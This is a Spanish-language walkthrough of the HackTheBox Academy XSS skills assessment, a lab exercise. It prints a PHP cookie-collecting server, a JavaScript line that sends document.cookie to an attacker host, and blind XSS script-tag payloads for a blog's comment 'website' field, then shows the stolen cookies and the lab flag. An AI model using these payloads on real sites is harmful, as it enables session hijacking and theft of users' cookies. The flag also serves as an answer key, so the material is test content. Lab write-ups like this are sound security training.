Skills Assessment (XSS CWES HTB Academy)
| Plataforma | HackTheBox |
|---|---|
| Dificultad | 📗 Fácil |
| Sistema operativo | 🌐 Web |
| Estado | Terminada |
| Técnicas | #web#xss |
| Extensión | 316 palabras · 2 min |
| Máquina original | https://academy.hackthebox.com/app/module/103/section/1011 |
Skills Assessment (XSS CWES HTB Academy)
Plataforma: HackTheBox | Dificultad: Fácil | IP:
10.129.234.166
📝 Resumen
Estamos realizando una tarea de pruebas de penetración de aplicaciones web para una empresa que te ha contratado, la cual acaba de lanzar su nuevo Security Blog. En nuestro plan de pruebas de penetración de aplicaciones web, hemos llegado a la parte en la que debes probar la aplicación web en busca de vulnerabilidades de Cross-Site Scripting (XSS).
Inicia el servidor de abajo, asegúrate de que estás conectado a la VPN y accede al directorio /assessment en el servidor usando el navegador:

Aplica las habilidades que aprendiste en este módulo para lograr lo siguiente:
- Identificar un campo de entrada de usuario que sea vulnerable a una vulnerabilidad XSS
- Encontrar un payload XSS funcional que ejecute código JavaScript en el navegador del objetivo
- Usando las técnicas de secuestro de sesión (Session Hijacking), intenta robar las cookies de la víctima, las cuales deberían contener la flag
Explotación
En este caso si buscamos vemos como hay un apartado de comentarios.

Tal como nos dice el enunciado, estamos ante un BLIND XSS pues no sabemos que campo es vulnerable.
Lo primero es seguir las indicaciones que se nos da en la academia para este tipo de ejercicios:
1.-Montar un servidor que almacene las cookies
Para eso simplemente creamos el fichero index.php y script.js
php1<?php 2if (isset($_GET['c'])) { 3 $list = explode(";", $_GET['c']); 4 foreach ($list as $key => $value) { 5 $cookie = urldecode($value); 6 $file = fopen("cookies.txt", "a+"); 7 fputs($file, "Victim IP: {$_SERVER['REMOTE_ADDR']} | Cookie: {$cookie}\n"); 8 fclose($file); 9 } 10} 11?>
jsnew Image().src='http://OUR_IP/index.php?c='+document.cookie;
Nuestra IP viene determinada por la IP de la VPN de HackTheBox.
Y montamos el servidor con el comando
bashsudo php -S 0.0.0.0:8080
2.-Identificamos el campo vulnerable a XSS

Descartamos que email es vulnerable debido a la validación del campo.
Si esperamos unos segundos, nos llega una petición a nuestro servidor

Indicando que el campo vulnerable es website y que además simplemente funciona con el payload
bash<script src="http://10.10.14.125:8080/website"></script>
Para llevar a cabo el ataque simplemente llevamos al revisor a nuestro script.js de esta forma
bash<script src="http://10.10.14.125:8080/script.js"></script>
Colocamos el payload en el campo vulnerable (website) y nos dará la flag

bash1┌─[eu-academy-5]─[10.10.14.125]─[htb-ac-2334078@htb-6ey8cwbbfy]─[~/server] 2└──╼ [★]$ cat cookies.txt 3Victim IP: 10.129.234.166 | Cookie: wordpress_test_cookie=WP Cookie check 4Victim IP: 10.129.234.166 | Cookie: wp-settings-time-2=1783621506 5Victim IP: 10.129.234.166 | Cookie: flag=HTB{cr055_5173_5cr1p71n6_n1nj4} 6┌─[eu-academy-5]─[10.10.14.125]─[htb-ac-2334078@htb-6ey8cwbbfy]─[~/server] 7└──╼ [★]$ 8
